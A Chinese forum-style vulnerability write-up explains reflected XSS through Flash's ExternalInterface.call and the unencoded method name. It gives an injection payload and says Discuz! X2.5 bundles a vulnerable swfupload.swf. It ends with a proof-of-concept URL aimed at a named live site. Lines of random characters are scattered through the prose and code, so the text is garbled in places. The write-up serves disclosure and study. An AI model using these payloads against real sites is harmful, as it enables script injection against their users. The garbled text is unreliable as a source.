上回我们说
7 c E' i$ x9 I) y, _) S: O* H4 A, Z) v5 V1 T2 _0 T
flash.external.ExternalInterface.call($methodName, $parameter)
* J! Z4 \7 s3 I: \/ ^. N5 x在浏览器中执行的是
6 h! m9 W Q, m; N
, l: m! l# v3 v+ P) _ c8 N1 stry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 {6 n- J7 m' {' M2 |' d u3 `* c对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
& ?$ d( g1 r7 J4 u/ i0 [
5 n, A) a+ N7 tflash.external.ExternalInterface.call("object."+$methodName, $parameter)
( N# C2 P* O( Y# {) M/ K$methodName = a())}catch(e){alert(/xss/)}//
) ^$ l6 E/ D# p% g1 ^+ Z结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
$ |/ n, j0 u; f% U& n8 k5 ?5 O" R# W5 c: e0 b
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
) \ ?5 ^! F! z# h% J
# c( A- Q" G! r6 ^9 D这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
, Q1 x: l) D- d- h5 C杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。. M. U2 n! i8 z4 Y* c: S: d
. m' a# o" {9 h5 U6 w
' X' k$ f8 k& w4 y+ l0 d% t: g# _) N, W$ d
漏洞文件:upload\static\image\common\swfupload.swf# a+ j9 ]' B6 m* a: ^+ b7 o4 L
( _" r" j* U* B! [: L原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf" }% d2 L; x! ]: Q
9 y' ~# q/ b! F' b: G& O) @% U; I- B0 E' R. u: W( z6 P ?
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 x! R5 |0 P' j. t( h' e( }6 d' }% T$ c4 ~- t/ _& P
5 J7 s3 n9 ?9 D5 \+ h/ H# t7 I
|